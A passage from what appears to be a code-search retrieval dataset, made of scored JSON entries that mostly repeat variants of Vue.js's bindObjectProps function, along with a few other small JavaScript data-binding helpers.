process.env.NODE_ENV !== 'production' && warn(\n 'v-bind without argument expects an Object or Array value',\n this\n );\n } else {\n if (Array.isArray(value)) {\n value = toObject(value);\n }\n var hash;\n for (var key in value) {\n if (key === 'class' || key === 'style') {\n hash = data;\n } else {\n var type = data.attrs && data.attrs.type;\n hash = asProp || config.mustUseProp(tag, type, key)\n ? data.domProps || (data.domProps = {})\n : data.attrs || (data.attrs = {});\n }\n if (!(key in hash)) {\n hash[key] = value[key];\n }\n }\n }\n }\n return data\n}", "title": "" }, { "docid": "4f46fabe15dc0bad7c40b7b42c3529ef", "score": "0.5253716", "text": "function bindObjectProps (\n data,\n tag,\n value,\n asProp\n) {\n if (value) {\n if (!isObject(value)) {\n process.env.NODE_ENV !== 'production' && warn(\n 'v-bind without argument expects an Object or Array value',\n this\n );\n } else {\n if (Array.isArray(value)) {\n value = toObject(value);\n }\n var hash;\n for (var key in value) {\n if (key === 'class' || key === 'style') {\n hash = data;\n } else {\n var type = data.attrs && data.attrs.type;\n hash = asProp || config.mustUseProp(tag, type, key)\n ? data.domProps || (data.domProps = {})\n : data.attrs || (data.attrs = {});\n }\n if (!(key in hash)) {\n hash[key] = value[key];\n }\n }\n }\n }\n return data\n}", "title": "" }, { "docid": "4f46fabe15dc0bad7c40b7b42c3529ef", "score": "0.5253716", "text": "function bindObjectProps (\n data,\n tag,\n value,\n asProp\n) {\n if (value) {\n if (!isObject(value)) {\n process.env.NODE_ENV !== 'production' && warn(\n 'v-bind without argument expects an Object or Array value',\n this\n );\n } else {\n if (Array.isArray(value)) {\n value = toObject(value);\n }\n var hash;\n for (var key in value) {\n if (key === 'class' || key === 'style') {\n hash = data;\n } else {\n var type = data.attrs && data.attrs.type;\n hash = asProp || config.mustUseProp(tag, type, key)\n ? data.domProps || (data.domProps = {})\n : data.attrs || (data.attrs = {});\n }\n if (!(key in hash)) {\n hash[key] = value[key];\n }\n }\n }\n }\n return data\n}", "title": "" }, { "docid": "e32d327252559e7516b185f98333b575", "score": "0.5252272", "text": "function bindObjectProps (\n data,\n tag,\n value,\n asProp\n) {\n if (value) {\n if (!isObject(value)) {\n \"development\" !== 'production' && warn(\n 'v-bind without argument expects an Object or Array value',\n this\n );\n } else {\n if (Array.isArray(value)) {\n value = toObject(value);\n }\n var hash;\n for (var key in value) {\n if (key === 'class' || key === 'style') {\n hash = data;\n } else {\n var type = data.attrs && data.attrs.type;\n hash = asProp || config.mustUseProp(tag, type, key)\n ? data.domProps || (data.domProps = {})\n : data.attrs || (data.attrs = {});\n }\n if (!(key in hash)) {\n hash[key] = value[key];\n }\n }\n }\n }\n return data\n}", "title": "" }, { "docid": "e32d327252559e7516b185f98333b575", "score": "0.5252272", "text": "function bindObjectProps (\n data,\n tag,\n value,\n asProp\n) {\n if (value) {\n if (!isObject(value)) {\n \"development\" !== 'production' && warn(\n 'v-bind without argument expects an Object or Array value',\n this\n );\n } else {\n if (Array.isArray(value)) {\n value = toObject(value);\n }\n var hash;\n for (var key in value) {\n if (key === 'class' || key === 'style') {\n hash = data;\n } else {\n var type = data.attrs && data.attrs.type;\n hash = asProp || config.mustUseProp(tag, type, key)\n ? data.domProps || (data.domProps = {})\n : data.attrs || (data.attrs = {});\n }\n if (!(key in hash)) {\n hash[key] = value[key];\n }\n }\n }\n }\n return data\n}", "title": "" }, { "docid": "e32d327252559e7516b185f98333b575", "score": "0.5252272", "text": "function bindObjectProps (\n data,\n tag,\n value,\n asProp\n) {\n if (value) {\n if (!isObject(value)) {\n \"development\" !== 'production' && warn(\n 'v-bind without argument expects an Object or Array value',\n this\n );\n } else {\n if (Array.isArray(value)) {\n value = toObject(value);\n }\n var hash;\n for (var key in value) {\n if (key === 'class' || key === 'style') {\n hash = data;\n } else {\n var type = data.attrs && data.attrs.type;\n hash = asProp || config.mustUseProp(tag, type, key)\n ? data.domProps || (data.domProps = {})\n : data.attrs || (data.attrs = {});\n }\n if (!(key in hash)) {\n hash[key] = value[key];\n }\n }\n }\n }\n return data\n}", "title": "" }, { "docid": "e32d327252559e7516b185f98333b575", "score": "0.5252272", "text": "function bindObjectProps (\n data,\n tag,\n value,\n asProp\n) {\n if (value) {\n if (!isObject(value)) {\n \"development\" !== 'production' && warn(\n 'v-bind without argument expects an Object or Array value',\n this\n );\n } else {\n if (Array.isArray(value)) {\n value = toObject(value);\n }\n var hash;\n for (var key in value) {\n if (key === 'class' || key === 'style') {\n hash = data;\n } else {\n var type = data.attrs && data.attrs.type;\n hash = asProp || config.mustUseProp(tag, type, key)\n ? data.domProps || (data.domProps = {})\n : data.attrs || (data.attrs = {});\n }\n if (!(key in hash)) {\n hash[key] = value[key];\n }\n }\n }\n }\n return data\n}", "title": "" }, { "docid": "e32d327252559e7516b185f98333b575", "score": "0.5252272", "text": "function bindObjectProps (\n data,\n tag,\n value,\n asProp\n) {\n if (value) {\n if (!isObject(value)) {\n \"development\" !== 'production' && warn(\n 'v-bind without argument expects an Object or Array value',\n this\n );\n } else {\n if (Array.isArray(value)) {\n value = toObject(value);\n }\n var hash;\n for (var key in value) {\n if (key === 'class' || key === 'style') {\n hash = data;\n } else {\n var type = data.attrs && data.attrs.type;\n hash = asProp || config.mustUseProp(tag, type, key)\n ? data.domProps || (data.domProps = {})\n : data.attrs || (data.attrs = {});\n }\n if (!(key in hash)) {\n hash[key] = value[key];\n }\n }\n }\n }\n return data\n}", "title": "" }, { "docid": "dd097822875ce60928e473f66cff51f4", "score": "0.5247501", "text": "function bindComplex(node, model, owner) {\n // same as bindAtom, push node to nodes2sync\n // but it bind to the key directly\n var two = node.textContent.split(':')\n var o = {\n cb: two[1].trim(),\n name: two[0].trim(), // may be hash later\n node: node,\n owner: owner // because if we fuck the attr node, we lose the ownerElement\n }\n var name = two[0].trim()\n\n var cb = opt[two[1].trim()]\n\n if (name in model) {\n nodes2sync.push(o)\n } else {\n // global bind\n keyBind[name] = keyBind[name] || []\n keyBind[name].push({\n cb: cb, // bind won't belong to opt later\n owner: owner,\n $el: data.set(owner),\n model: model\n })\n }\n //opt[o.cb] && opt[o.cb].call(o, {name: o.name, object: model})\n // why it should run in the first time??\n cb.call({owner: owner}, {name: name, object: model})\n delete owner.dataset.bind // always delete the data attr\n }", "title": "" }, { "docid": "21ad053f557970d1c2ba3dc02c4c0e56", "score": "0.52412397", "text": "function bindObjectProps(data, tag, value, asProp, isSync) {\r\n if (value) {\r\n if (!isObject(value)) {\r\n false &&\r\n false\r\n } else {\r\n if (Array.isArray(value)) {\r\n value = toObject(value)\r\n }\r\n var hash\r\n var loop = function(key) {\r\n if (key === \"class\" || key === \"style\" || isReservedAttribute(key)) {\r\n hash = data\r\n } else {\r\n var type = data.attrs && data.attrs.type\r\n hash =\r\n asProp || config.mustUseProp(tag, type, key)\r\n ? data.domProps || (data.domProps = {})\r\n : data.attrs || (data.attrs = {})\r\n }\r\n if (!(key in hash)) {\r\n hash[key] = value[key]\r\n\r\n if (isSync) {\r\n var on = data.on || (data.on = {})\r\n on[\"update:\" + key] = function($event) {\r\n value[key] = $event\r\n }\r\n }\r\n }\r\n }\r\n\r\n for (var key in value) loop(key)\r\n }\r\n }\r\n return data\r\n }", "title": "" }, { "docid": "b52f052700d0ced27a4be34d7a058e39", "score": "0.5238456", "text": "_assign() {\n Object.assign(this, this.$rawData);\n }", "title": "" }, { "docid": "6eb093478a941c566a1e863d755c90d5", "score": "0.52267796", "text": "extend(obj) {\n // Database Context (dc) is mainly useful when extending multiple databases\n // with different access API-s.\n\n // Do not use 'require()' here, because this event occurs for every task\n // and transaction being executed, which should be as fast as possible.\n obj.pages = new repos.Pages(obj, pgp);\n obj.layers = new repos.Layers(obj, pgp);\n }", "title": "" }, { "docid": "df16946388a81a7daa17b58fa0fd964b", "score": "0.5213649", "text": "function bindObjectProps (\n data,\n tag,\n value,\n asProp,\n isSync\n ) {\n if (value) {\n if (!isObject(value)) {\n warn(\n 'v-bind without argument expects an Object or Array value',\n this\n );\n } else {\n if (Array.isArray(value)) {\n value = toObject(value);\n }\n var hash;\n var loop = function ( key ) {\n if (\n key === 'class' ||\n key === 'style' ||\n isReservedAttribute(key)\n ) {\n hash = data;\n } else {\n var type = data.attrs && data.attrs.type;\n hash = asProp || config.mustUseProp(tag, type, key)\n ? data.domProps || (data.domProps = {})\n : data.attrs || (data.attrs = {});\n }\n var camelizedKey = camelize(key);\n var hyphenatedKey = hyphenate(key);\n if (!(camelizedKey in hash) && !(hyphenatedKey in hash)) {\n hash[key] = value[key];\n \n if (isSync) {\n var on = data.on || (data.on = {});\n on[(\"update:\" + key)] = function ($event) {\n value[key] = $event;\n };\n }\n }\n };\n \n for (var key in value) loop( key );\n }\n }\n return data\n }", "title": "" }, { "docid": "0df72e04233a1bae26a373927a9125bf", "score": "0.520745", "text": "function bindObjectProps (\n data ,\n tag ,\n value ,\n asProp ,\n isSync\n ) {\n if ( value ) {\n if ( ! isObject ( value ) ) {\n warn (\n 'v-bind without argument expects an Object or Array value' ,\n this\n );\n } else {\n if ( Array.isArray ( value ) ) {\n value = toObject ( value );\n }\n var hash;\n var loop = function ( key ) {\n if (\n key === 'class' ||\n key === 'style' ||\n isReservedAttribute ( key )\n ) {\n hash = data;\n } else {\n var type = data.attrs && data.attrs.type;\n hash = asProp || config.mustUseProp ( tag , type , key )\n ? data.domProps || ( data.domProps = {} )\n : data.attrs || ( data.attrs = {} );\n }\n var camelizedKey = camelize ( key );\n if ( ! ( key in hash ) && ! ( camelizedKey in hash ) ) {\n hash[ key ] = value[ key ];\n\n if ( isSync ) {\n var on = data.on || ( data.on = {} );\n on[ ( \"update:\" + camelizedKey ) ] = function ( $event ) {\n value[ key ] = $event;\n };\n }\n }\n };\n\n for ( var key in value ) loop ( key );\n }\n }\n return data\n }", "title": "" }, { "docid": "29d5f7baae1fcfeae8ec407387955f83", "score": "0.52010965", "text": "function bindObjectProps(data, tag, value, asProp, isSync) {\n if (value) {\n if (!isObject(value)) {\n false &&\n false\n } else {\n if (Array.isArray(value)) {\n value = toObject(value)\n }\n var hash\n var loop = function(key) {\n if (key === \"class\" || key === \"style\" || isReservedAttribute(key)) {\n hash = data\n } else {\n var type = data.attrs && data.attrs.type\n hash =\n asProp || config.mustUseProp(tag, type, key)\n ? data.domProps || (data.domProps = {})\n : data.attrs || (data.attrs = {})\n }\n if (!(key in hash)) {\n hash[key] = value[key]\n\n if (isSync) {\n var on = data.on || (data.on = {})\n on[\"update:\" + key] = function($event) {\n value[key] = $event\n }\n }\n }\n }\n\n for (var key in value) loop(key)\n }\n }\n return data\n }", "title": "" }, { "docid": "b8ef7db8d5beb65532e5b8044fab7f9f", "score": "0.51960844", "text": "function bindObjectProps (\n data,\n tag,\n value,\n asProp,\n isSync\n) {\n if (value) {\n if (!isObject(value)) {\n warn(\n 'v-bind without argument expects an Object or Array value',\n this\n );\n } else {\n if (Array.isArray(value)) {\n value = toObject(value);\n }\n var hash;\n var loop = function ( key ) {\n if (\n key === 'class' ||\n key === 'style' ||\n isReservedAttribute(key)\n ) {\n hash = data;\n } else {\n var type = data.attrs && data.attrs.type;\n hash = asProp || config.mustUseProp(tag, type, key)\n ? data.domProps || (data.domProps = {})\n : data.attrs || (data.attrs = {});\n }\n var camelizedKey = camelize(key);\n var hyphenatedKey = hyphenate(key);\n if (!(camelizedKey in hash) && !(hyphenatedKey in hash)) {\n hash[key] = value[key];\n\n if (isSync) {\n var on = data.on || (data.on = {});\n on[(\"update:\" + key)] = function ($event) {\n value[key] = $event;\n };\n }\n }\n };\n\n for (var key in value) loop( key );\n }\n }\n return data\n}", "title": "" }, { "docid": "7c206b82d0d86016bc5079c6f41e18f7", "score": "0.5186846", "text": "function registerDeepBindings(data){if(isObject(data.style)){traverse(data.style);}if(isObject(data.class)){traverse(data.class);}}", "title": "" }, { "docid": "aaab9809f6e6832de00941c5e679b3fe", "score": "0.5170951", "text": "function bindObjectProps (\n data,\n tag,\n value,\n asProp,\n isSync\n) {\n if (value) {\n if (!isObject(value)) {\n \"production\" !== 'production' && warn(\n 'v-bind without argument expects an Object or Array value',\n this\n );\n } else {\n if (Array.isArray(value)) {\n value = toObject(value);\n }\n var hash;\n var loop = function ( key ) {\n if (\n key === 'class' ||\n key === 'style' ||\n isReservedAttribute(key)\n ) {\n hash = data;\n } else {\n var type = data.attrs && data.attrs.type;\n hash = asProp || config.mustUseProp(tag, type, key)\n ? data.domProps || (data.domProps = {})\n : data.attrs || (data.attrs = {});\n }\n var camelizedKey = camelize(key);\n var hyphenatedKey = hyphenate(key);\n if (!(camelizedKey in hash) && !(hyphenatedKey in hash)) {\n hash[key] = value[key];\n\n if (isSync) {\n var on = data.on || (data.on = {});\n on[(\"update:\" + key)] = function ($event) {\n value[key] = $event;\n };\n }\n }\n };\n\n for (var key in value) loop( key );\n }\n }\n return data\n}", "title": "" }, { "docid": "aaab9809f6e6832de00941c5e679b3fe", "score": "0.5170951", "text": "function bindObjectProps (\n data,\n tag,\n value,\n asProp,\n isSync\n) {\n if (value) {\n if (!isObject(value)) {\n \"production\" !== 'production' && warn(\n 'v-bind without argument expects an Object or Array value',\n this\n );\n } else {\n if (Array.isArray(value)) {\n value = toObject(value);\n }\n var hash;\n var loop = function ( key ) {\n if (\n key === 'class' ||\n key === 'style' ||\n isReservedAttribute(key)\n ) {\n hash = data;\n } else {\n var type = data.attrs && data.attrs.type;\n hash = asProp || config.mustUseProp(tag, type, key)\n ? data.domProps || (data.domProps = {})\n : data.attrs || (data.attrs = {});\n }\n var camelizedKey = camelize(key);\n var hyphenatedKey = hyphenate(key);\n if (!(camelizedKey in hash) && !(hyphenatedKey in hash)) {\n hash[key] = value[key];\n\n if (isSync) {\n var on = data.on || (data.on = {});\n on[(\"update:\" + key)] = function ($event) {\n value[key] = $event;\n };\n }\n }\n };\n\n for (var key in value) loop( key );\n }\n }\n return data\n}", "title": "" }, { "docid": "25e452bc24b205707df4825b07b146dd", "score": "0.5163131", "text": "function bindObjectProps (\n data,\n tag,\n value,\n asProp,\n isSync\n) {\n if (value) {\n if (!isObject(value)) {\n true && warn(\n 'v-bind without argument expects an Object or Array value',\n this\n );\n } else {\n if (Array.isArray(value)) {\n value = toObject(value);\n }\n var hash;\n var loop = function ( key ) {\n if (\n key === 'class' ||\n key === 'style' ||\n isReservedAttribute(key)\n ) {\n hash = data;\n } else {\n var type = data.attrs && data.attrs.type;\n hash = asProp || config.mustUseProp(tag, type, key)\n ? data.domProps || (data.domProps = {})\n : data.attrs || (data.attrs = {});\n }\n var camelizedKey = camelize(key);\n var hyphenatedKey = hyphenate(key);\n if (!(camelizedKey in hash) && !(hyphenatedKey in hash)) {\n hash[key] = value[key];\n\n if (isSync) {\n var on = data.on || (data.on = {});\n on[(\"update:\" + key)] = function ($event) {\n value[key] = $event;\n };\n }\n }\n };\n\n for (var key in value) loop( key );\n }\n }\n return data\n}", "title": "" }, { "docid": "25e452bc24b205707df4825b07b146dd", "score": "0.5163131", "text": "function bindObjectProps (\n data,\n tag,\n value,\n asProp,\n isSync\n) {\n if (value) {\n if (!isObject(value)) {\n true && warn(\n 'v-bind without argument expects an Object or Array value',\n this\n );\n } else {\n if (Array.isArray(value)) {\n value = toObject(value);\n }\n var hash;\n var loop = function ( key ) {\n if (\n key === 'class' ||\n key === 'style' ||\n isReservedAttribute(key)\n ) {\n hash = data;\n } else {\n var type = data.attrs && data.attrs.type;\n hash = asProp || config.mustUseProp(tag, type, key)\n ? data.domProps || (data.domProps = {})\n : data.attrs || (data.attrs = {});\n }\n var camelizedKey = camelize(key);\n var hyphenatedKey = hyphenate(key);\n if (!(camelizedKey in hash) && !(hyphenatedKey in hash)) {\n hash[key] = value[key];\n\n if (isSync) {\n var on = data.on || (data.on = {});\n on[(\"update:\" + key)] = function ($event) {\n value[key] = $event;\n };\n }\n }\n };\n\n for (var key in value) loop( key );\n }\n }\n return data\n}", "title": "" }, { "docid": "25e452bc24b205707df4825b07b146dd", "score": "0.5163131", "text": "function bindObjectProps (\n data,\n tag,\n value,\n asProp,\n isSync\n) {\n if (value) {\n if (!isObject(value)) {\n true && warn(\n 'v-bind without argument expects an Object or Array value',\n this\n );\n } else {\n if (Array.isArray(value)) {\n value = toObject(value);\n }\n var hash;\n var loop = function ( key ) {\n if (\n key === 'class' ||\n key === 'style' ||\n isReservedAttribute(key)\n ) {\n hash = data;\n } else {\n var type = data.attrs && data.attrs.type;\n hash = asProp || config.mustUseProp(tag, type, key)\n ? data.domProps || (data.domProps = {})\n : data.attrs || (data.attrs = {});\n }\n var camelizedKey = camelize(key);\n var hyphenatedKey = hyphenate(key);\n if (!(camelizedKey in hash) && !(hyphenatedKey in hash)) {\n hash[key] = value[key];\n\n if (isSync) {\n var on = data.on || (data.on = {});\n on[(\"update:\" + key)] = function ($event) {\n value[key] = $event;\n };\n }\n }\n };\n\n for (var key in value) loop( key );\n }\n }\n return data\n}", "title": "" }, { "docid": "25e452bc24b205707df4825b07b146dd", "score": "0.5163131", "text": "function bindObjectProps (\n data,\n tag,\n value,\n asProp,\n isSync\n) {\n if (value) {\n if (!isObject(value)) {\n true && warn(\n 'v-bind without argument expects an Object or Array value',\n this\n );\n } else {\n if (Array.isArray(value)) {\n value = toObject(value);\n }\n var hash;\n var loop = function ( key ) {\n if (\n key === 'class' ||\n key === 'style' ||\n isReservedAttribute(key)\n ) {\n hash = data;\n } else {\n var type = data.attrs && data.attrs.type;\n hash = asProp || config.mustUseProp(tag, type, key)\n ? data.domProps || (data.domProps = {})\n : data.attrs || (data.attrs = {});\n }\n var camelizedKey = camelize(key);\n var hyphenatedKey = hyphenate(key);\n if (!(camelizedKey in hash) && !(hyphenatedKey in hash)) {\n hash[key] = value[key];\n\n if (isSync) {\n var on = data.on || (data.on = {});\n on[(\"update:\" + key)] = function ($event) {\n value[key] = $event;\n };\n }\n }\n };\n\n for (var key in value) loop( key );\n }\n }\n return data\n}", "title": "" }, { "docid": "25e452bc24b205707df4825b07b146dd", "score": "0.5163131", "text": "function bindObjectProps (\n data,\n tag,\n value,\n asProp,\n isSync\n) {\n if (value) {\n if (!isObject(value)) {\n true && warn(\n 'v-bind without argument expects an Object or Array value',\n this\n );\n } else {\n if (Array.isArray(value)) {\n value = toObject(value);\n }\n var hash;\n var loop = function ( key ) {\n if (\n key === 'class' ||\n key === 'style' ||\n isReservedAttribute(key)\n ) {\n hash = data;\n } else {\n var type = data.attrs && data.attrs.type;\n hash = asProp || config.mustUseProp(tag, type, key)\n ? data.domProps || (data.domProps = {})\n : data.attrs || (data.attrs = {});\n }\n var camelizedKey = camelize(key);\n var hyphenatedKey = hyphenate(key);\n if (!(camelizedKey in hash) && !(hyphenatedKey in hash)) {\n hash[key] = value[key];\n\n if (isSync) {\n var on = data.on || (data.on = {});\n on[(\"update:\" + key)] = function ($event) {\n value[key] = $event;\n };\n }\n }\n };\n\n for (var key in value) loop( key );\n }\n }\n return data\n}", "title": "" }, { "docid": "25e452bc24b205707df4825b07b146dd", "score": "0.5163131", "text": "function bindObjectProps (\n data,\n tag,\n value,\n asProp,\n isSync\n) {\n if (value) {\n if (!isObject(value)) {\n true && warn(\n 'v-bind without argument expects an Object or Array value',\n this\n );\n } else {\n if (Array.isArray(value)) {\n value = toObject(value);\n }\n var hash;\n var loop = function ( key ) {\n if (\n key === 'class' ||\n key === 'style' ||\n isReservedAttribute(key)\n ) {\n hash = data;\n } else {\n var type = data.attrs && data.attrs.type;\n hash = asProp || config.mustUseProp(tag, type, key)\n ? data.domProps || (data.domProps = {})\n : data.attrs || (data.attrs = {});\n }\n var camelizedKey = camelize(key);\n var hyphenatedKey = hyphenate(key);\n if (!(camelizedKey in hash) && !(hyphenatedKey in hash)) {\n hash[key] = value[key];\n\n if (isSync) {\n var on = data.on || (data.on = {});\n on[(\"update:\" + key)] = function ($event) {\n value[key] = $event;\n };\n }\n }\n };\n\n for (var key in value) loop( key );\n }\n }\n return data\n}", "title": "" }, { "docid": "25e452bc24b205707df4825b07b146dd", "score": "0.5163131", "text": "function bindObjectProps (\n data,\n tag,\n value,\n asProp,\n isSync\n) {\n if (value) {\n if (!isObject(value)) {\n true && warn(\n 'v-bind without argument expects an Object or Array value',\n this\n );\n } else {\n if (Array.isArray(value)) {\n value = toObject(value);\n }\n var hash;\n var loop = function ( key ) {\n if (\n key === 'class' ||\n key === 'style' ||\n isReservedAttribute(key)\n ) {\n hash = data;\n } else {\n var type = data.attrs && data.attrs.type;\n hash = asProp || config.mustUseProp(tag, type, key)\n ? data.domProps || (data.domProps = {})\n : data.attrs || (data.attrs = {});\n }\n var camelizedKey = camelize(key);\n var hyphenatedKey = hyphenate(key);\n if (!(camelizedKey in hash) && !(hyphenatedKey in hash)) {\n hash[key] = value[key];\n\n if (isSync) {\n var on = data.on || (data.on = {});\n on[(\"update:\" + key)] = function ($event) {\n value[key] = $event;\n };\n }\n }\n };\n\n for (var key in value) loop( key );\n }\n }\n return data\n}", "title": "" }, { "docid": "25e452bc24b205707df4825b07b146dd", "score": "0.5163131", "text": "function bindObjectProps (\n data,\n tag,\n value,\n asProp,\n isSync\n) {\n if (value) {\n if (!isObject(value)) {\n true && warn(\n 'v-bind without argument expects an Object or Array value',\n this\n );\n } else {\n if (Array.isArray(value)) {\n value = toObject(value);\n }\n var hash;\n var loop = function ( key ) {\n if (\n key === 'class' ||\n key === 'style' ||\n isReservedAttribute(key)\n ) {\n hash = data;\n } else {\n var type = data.attrs && data.attrs.type;\n hash = asProp || config.mustUseProp(tag, type, key)\n ? data.domProps || (data.domProps = {})\n : data.attrs || (data.attrs = {});\n }\n var camelizedKey = camelize(key);\n var hyphenatedKey = hyphenate(key);\n if (!(camelizedKey in hash) && !(hyphenatedKey in hash)) {\n hash[key] = value[key];\n\n if (isSync) {\n var on = data.on || (data.on = {});\n on[(\"update:\" + key)] = function ($event) {\n value[key] = $event;\n };\n }\n }\n };\n\n for (var key in value) loop( key );\n }\n }\n return data\n}", "title": "" }, { "docid": "25e452bc24b205707df4825b07b146dd", "score": "0.5163131", "text": "function bindObjectProps (\n data,\n tag,\n value,\n asProp,\n isSync\n) {\n if (value) {\n if (!isObject(value)) {\n true && warn(\n 'v-bind without argument expects an Object or Array value',\n this\n );\n } else {\n if (Array.isArray(value)) {\n value = toObject(value);\n }\n var hash;\n var loop = function ( key ) {\n if (\n key === 'class' ||\n key === 'style' ||\n isReservedAttribute(key)\n ) {\n hash = data;\n } else {\n var type = data.attrs && data.attrs.type;\n hash = asProp || config.mustUseProp(tag, type, key)\n ? data.domProps || (data.domProps = {})\n : data.attrs || (data.attrs = {});\n }\n var camelizedKey = camelize(key);\n var hyphenatedKey = hyphenate(key);\n if (!(camelizedKey in hash) && !(hyphenatedKey in hash)) {\n hash[key] = value[key];\n\n if (isSync) {\n var on = data.on || (data.on = {});\n on[(\"update:\" + key)] = function ($event) {\n value[key] = $event;\n };\n }\n }\n };\n\n for (var key in value) loop( key );\n }\n }\n return data\n}", "title": "" }, { "docid": "25e452bc24b205707df4825b07b146dd", "score": "0.5163131", "text": "function bindObjectProps (\n data,\n tag,\n value,\n asProp,\n isSync\n) {\n if (value) {\n if (!isObject(value)) {\n true && warn(\n 'v-bind without argument expects an Object or Array value',\n this\n );\n } else {\n if (Array.isArray(value)) {\n value = toObject(value);\n }\n var hash;\n var loop = function ( key ) {\n if (\n key === 'class' ||\n key === 'style' ||\n isReservedAttribute(key)\n ) {\n hash = data;\n } else {\n var type = data.attrs && data.attrs.type;\n hash = asProp || config.mustUseProp(tag, type, key)\n ? data.domProps || (data.domProps = {})\n : data.attrs || (data.attrs = {});\n }\n var camelizedKey = camelize(key);\n var hyphenatedKey = hyphenate(key);\n if (!(camelizedKey in hash) && !(hyphenatedKey in hash)) {\n hash[key] = value[key];\n\n if (isSync) {\n var on = data.on || (data.on = {});\n on[(\"update:\" + key)] = function ($event) {\n value[key] = $event;\n };\n }\n }\n };\n\n for (var key in value) loop( key );\n }\n }\n return data\n}", "title": "" }, { "docid": "25e452bc24b205707df4825b07b146dd", "score": "0.5163131", "text": "function bindObjectProps (\n data,\n tag,\n value,\n asProp,\n isSync\n) {\n if (value) {\n if (!isObject(value)) {\n true && warn(\n 'v-bind without argument expects an Object or Array value',\n this\n );\n } else {\n if (Array.isArray(value)) {\n value = toObject(value);\n }\n var hash;\n var loop = function ( key ) {\n if (\n key === 'class' ||\n key === 'style' ||\n isReservedAttribute(key)\n ) {\n hash = data;\n } else {\n var type = data.attrs && data.attrs.type;\n hash = asProp || config.mustUseProp(tag, type, key)\n ? data.domProps || (data.domProps = {})\n : data.attrs || (data.attrs = {});\n }\n var camelizedKey = camelize(key);\n var hyphenatedKey = hyphenate(key);\n if (!(camelizedKey in hash) && !(hyphenatedKey in hash)) {\n hash[key] = value[key];\n\n if (isSync) {\n var on = data.on || (data.on = {});\n on[(\"update:\" + key)] = function ($event) {\n value[key] = $event;\n };\n }\n }\n };\n\n for (var key in value) loop( key );\n }\n }\n return data\n}", "title": "" }, { "docid": "25e452bc24b205707df4825b07b146dd", "score": "0.5163131", "text": "function bindObjectProps (\n data,\n tag,\n value,\n asProp,\n isSync\n) {\n if (value) {\n if (!isObject(value)) {\n true && warn(\n 'v-bind without argument expects an Object or Array value',\n this\n );\n } else {\n if (Array.isArray(value)) {\n value = toObject(value);\n }\n var hash;\n var loop = function ( key ) {\n if (\n key === 'class' ||\n key === 'style' ||\n isReservedAttribute(key)\n ) {\n hash = data;\n } else {\n var type = data.attrs && data.attrs.type;\n hash = asProp || config.mustUseProp(tag, type, key)\n ? data.domProps || (data.domProps = {})\n : data.attrs || (data.attrs = {});\n }\n var camelizedKey = camelize(key);\n var hyphenatedKey = hyphenate(key);\n if (!(camelizedKey in hash) && !(hyphenatedKey in hash)) {\n hash[key] = value[key];\n\n if (isSync) {\n var on = data.on || (data.on = {});\n on[(\"update:\" + key)] = function ($event) {\n value[key] = $event;\n };\n }\n }\n };\n\n for (var key in value) loop( key );\n }\n }\n return data\n}", "title": "" }, { "docid": "25e452bc24b205707df4825b07b146dd", "score": "0.5163131", "text": "function bindObjectProps (\n data,\n tag,\n value,\n asProp,\n isSync\n) {\n if (value) {\n if (!isObject(value)) {\n true && warn(\n 'v-bind without argument expects an Object or Array value',\n this\n );\n } else {\n if (Array.isArray(value)) {\n value = toObject(value);\n }\n var hash;\n var loop = function ( key ) {\n if (\n key === 'class' ||\n key === 'style' ||\n isReservedAttribute(key)\n ) {\n hash = data;\n } else {\n var type = data.attrs && data.attrs.type;\n hash = asProp || config.mustUseProp(tag, type, key)\n ? data.domProps || (data.domProps = {})\n : data.attrs || (data.attrs = {});\n }\n var camelizedKey = camelize(key);\n var hyphenatedKey = hyphenate(key);\n if (!(camelizedKey in hash) && !(hyphenatedKey in hash)) {\n hash[key] = value[key];\n\n if (isSync) {\n var on = data.on || (data.on = {});\n on[(\"update:\" + key)] = function ($event) {\n value[key] = $event;\n };\n }\n }\n };\n\n for (var key in value) loop( key );\n }\n }\n return data\n}", "title": "" }, { "docid": "25e452bc24b205707df4825b07b146dd", "score": "0.5163131", "text": "function bindObjectProps (\n data,\n tag,\n value,\n asProp,\n isSync\n) {\n if (value) {\n if (!isObject(value)) {\n true && warn(\n 'v-bind without argument expects an Object or Array value',\n this\n );\n } else {\n if (Array.isArray(value)) {\n value = toObject(value);\n }\n var hash;\n var loop = function ( key ) {\n if (\n key === 'class' ||\n key === 'style' ||\n isReservedAttribute(key)\n ) {\n hash = data;\n } else {\n var type = data.attrs && data.attrs.type;\n hash = asProp || config.mustUseProp(tag, type, key)\n ? data.domProps || (data.domProps = {})\n : data.attrs || (data.attrs = {});\n }\n var camelizedKey = camelize(key);\n var hyphenatedKey = hyphenate(key);\n if (!(camelizedKey in hash) && !(hyphenatedKey in hash)) {\n hash[key] = value[key];\n\n if (isSync) {\n var on = data.on || (data.on = {});\n on[(\"update:\" + key)] = function ($event) {\n value[key] = $event;\n };\n }\n }\n };\n\n for (var key in value) loop( key );\n }\n }\n return data\n}", "title": "" }, { "docid": "25e452bc24b205707df4825b07b146dd", "score": "0.5163131", "text": "function bindObjectProps (\n data,\n tag,\n value,\n asProp,\n isSync\n) {\n if (value) {\n if (!isObject(value)) {\n true && warn(\n 'v-bind without argument expects an Object or Array value',\n this\n );\n } else {\n if (Array.isArray(value)) {\n value = toObject(value);\n }\n var hash;\n var loop = function ( key ) {\n if (\n key === 'class' ||\n key === 'style' ||\n isReservedAttribute(key)\n ) {\n hash = data;\n } else {\n var type = data.attrs && data.attrs.type;\n hash = asProp || config.mustUseProp(tag, type, key)\n ? data.domProps || (data.domProps = {})\n : data.attrs || (data.attrs = {});\n }\n var camelizedKey = camelize(key);\n var hyphenatedKey = hyphenate(key);\n if (!(camelizedKey in hash) && !(hyphenatedKey in hash)) {\n hash[key] = value[key];\n\n if (isSync) {\n var on = data.on || (data.on = {});\n on[(\"update:\" + key)] = function ($event) {\n value[key] = $event;\n };\n }\n }\n };\n\n for (var key in value) loop( key );\n }\n }\n return data\n}", "title": "" }, { "docid": "25e452bc24b205707df4825b07b146dd", "score": "0.5163131", "text": "function bindObjectProps (\n data,\n tag,\n value,\n asProp,\n isSync\n) {\n if (value) {\n if (!isObject(value)) {\n true && warn(\n 'v-bind without argument expects an Object or Array value',\n this\n );\n } else {\n if (Array.isArray(value)) {\n value = toObject(value);\n }\n var hash;\n var loop = function ( key ) {\n if (\n key === 'class' ||\n key === 'style' ||\n isReservedAttribute(key)\n ) {\n hash = data;\n } else {\n var type = data.attrs && data.attrs.type;\n hash = asProp || config.mustUseProp(tag, type, key)\n ? data.domProps || (data.domProps = {})\n : data.attrs || (data.attrs = {});\n }\n var camelizedKey = camelize(key);\n var hyphenatedKey = hyphenate(key);\n if (!(camelizedKey in hash) && 